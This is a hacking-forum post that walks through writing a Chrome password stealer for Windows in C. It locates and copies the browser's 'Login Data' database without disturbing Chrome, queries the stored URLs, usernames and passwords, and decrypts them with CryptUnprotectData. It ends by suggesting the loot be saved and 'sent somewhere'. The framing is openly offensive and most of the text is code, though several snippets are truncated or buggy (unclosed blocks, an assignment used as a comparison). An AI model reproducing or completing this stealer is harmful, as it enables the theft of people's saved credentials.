Stiller for Chrome

✨ deeznutz

✨ Master ✨
Staff member
May 15, 2017
First, let's get the file where user accounts and passwords are stored. In Windows, it lies at the following address:

C: \ Users \% username% \ AppData \ Local \ Google \ Chrome \ UserData \ Default \ Login Data

To perform any manipulations with this file, you must either kill all the browser processes, which will catch the eye, or copy the base file somewhere and after that start working with it.

Let's write a function that gets the path to the Chrome password database. As an argument, it will be passed an array of characters with the result of its work (that is, the array will contain the path to the Chrome password file).

#define CHROME_DB_PATH "\\Google\\Chrome\\User Data\\Default\\Login Data"
bool get_browser_path(char * db_loc, int browser_family, const char * location) {
memset(db_loc, 0, MAX_PATH);
if (!SUCCEEDED(SHGetFolderPath(NULL, CSIDL_LOCAL_APPDATA, NULL, 0, db_loc))) {
return 0;
if (browser_family = 0) {
lstrcat(db_loc, TEXT(location));
return 1;

Function call:

char browser_db[MAX_PATH];
get_browser_path(browser_db, 0, CHROME_DB_PATH);

Let's briefly explain what is happening here. We immediately write this function, implying a future expansion. One of its arguments is the browser_family field, it will signal a family of browsers whose database we get (that is, browsers based on Chrome or Firefox).

If the condition browser_family = 0 is met, then we get the browser database of passwords based on Chrome, if browser_family = 1 - Firefox. The CHROME_DB_PATH identifier points to the Chrome password database. After that we get the path to the database using the SHGetFolderPath function, passing to it the CSIDL_LOCAL_APPDATA value as the CSIDL argument, which means:


#define CSIDL_LOCAL_APPDATA 0x001c // <user name>\Local Settings\Applicaiton Data (non roaming)

The SHGetFolderPath function is already obsolete, and Microsoft recommends using SHGetKnownFolderPath instead. The problem lies in the fact that support for this feature starts with Windows Vista, so I used its older equivalent to maintain backward compatibility. Here is its prototype:

HRESULT SHGetFolderPath(
HWND hwndOwner,
int nFolder,
HANDLE hToken,
DWORD dwFlags,
LPTSTR pszPath

After that, the lstrcat function combines the result of the SHGetFolderPath with the identifier CHROME_DB_PATH.

The password database is received, now we start to work with it. As I said before, this is a SQLite database, it is convenient to work with it through the SQLite API, which are connected with the sqlite3.h header file. Let's copy the database file, so as not to occupy it and not interfere with the browser.

int status = CopyFile(browser_db, TEXT(".\\db_tmp"), FALSE);
if (!status) {
// return 0;

Now we connect to the database with the sqlite3_open_v2 command. Its prototype is:

int sqlite3_open_v2(
const char *filename, /* Database filename (UTF-8) */
sqlite3 **ppDb, /* OUT: SQLite db handle */
int flags, /* Flags */
const char *zVfs /* Name of VFS module to use */

The first argument is our database; the connection information is returned to the second argument, the opening flags go next, and the fourth argument specifies the operating system interface that should use this connection to the database, in our case it is not needed. If this function runs correctly, the value of SQLITE_OK is returned, otherwise an error code is returned.

sqlite3 *sql_browser_db = NULL;
status = sqlite3_open_v2(TEMP_DB_PATH,
if(status != SQLITE_OK) {

Please note: in case of incorrect function development, we still need to close the connection to the database on our own and delete its copy.

Now we begin to directly process the data in the database. To do this, we use the function sqlite3_exec ().

status = sqlite3_exec(sql_browser_db,
"SELECT origin_url, username_value, password_value FROM logins",
if (status != SQLITE_OK)
return 0;

This function has the following prototype:

int sqlite3_exec(
sqlite3*, /* An open database */
const char *sql, /* SQL to be evaluated */
int (*callback)(void*,int,char**,char**), /* Callback function */
void *, /* 1st argument to callback */
char **errmsg /* Error msg written here */

The first argument is our password database, the second is the SQL command that pulls out the file's URL, login, password and username, the third argument is the callback function that will decrypt the passwords, the fourth is passed to our callback function, but The fifth argument reports an error.

Let's take a closer look at the callback function that decrypts passwords. It will be used for each row from a sample of our SELECT query. Its prototype is int (* callback) (void *, int, char **, char **), but we will not need all the arguments, although they must be declared. The function itself is called crack_chrome_db, we begin to write and declare the necessary variables:

int crack_chrome_db(void *db_in, int arg, char **arg1, char **arg2) {
DATA_BLOB data_decrypt, data_encrypt;
sqlite3 *in_db = (sqlite3*)db_in;
BYTE *blob_data = NULL;
sqlite3_blob *sql_blob = NULL;
char *passwds = NULL;
while (sqlite3_blob_open(in_db, "main", "logins", "password_value", count++, 0, &sql_blob) != SQLITE_OK && count <= 20 );

In this loop, we form BLOBs (that is, a large array of binary data). Next, select the memory, read the blob and initialize the DATA_BLOB fields:

int sz_blob;
int result;
sz_blob = sqlite3_blob_bytes(sql_blob);
dt_blob = (BYTE *)malloc(sz_blob);
if (!dt_blob) {
data_encrypt.pbData = dt_blob;
data_encrypt.cbData = sz_blob;

Now let's proceed directly to decrypting passwords. Chrome database is encrypted with the Data Protection Application Programming Interface (DPAPI) engine. The essence of this mechanism is that data can be decrypted only under the account under which they were encrypted. In other words, you can not pull out the password database, and then decrypt it already on your computer. To decrypt data, we need the CryptUnprotectData function.

DPAPI_IMP BOOL CryptUnprotectData(
LPWSTR *ppszDataDescr,
DATA_BLOB *pOptionalEntropy,
PVOID pvReserved,
DWORD dwFlags,
if (!CryptUnprotectData(&data_encrypt, NULL, NULL, NULL, NULL, 0, &data_decrypt)) {

After that, select the memory and fill in the passwds array with the decrypted data.

passwds = ( char *)malloc(data_decrypt.cbData + 1);
memset(passwds, 0, data_decrypt.cbData);
int xi = 0;
while (xi < data_decrypt.cbData) {
passwds[xi] = (char)data_decrypt.pbData[xi];
Actually, that's all! After that, passwds will contain user accounts and URLs. You can display this information or save it to a file and send it somewhere.
Top Bottom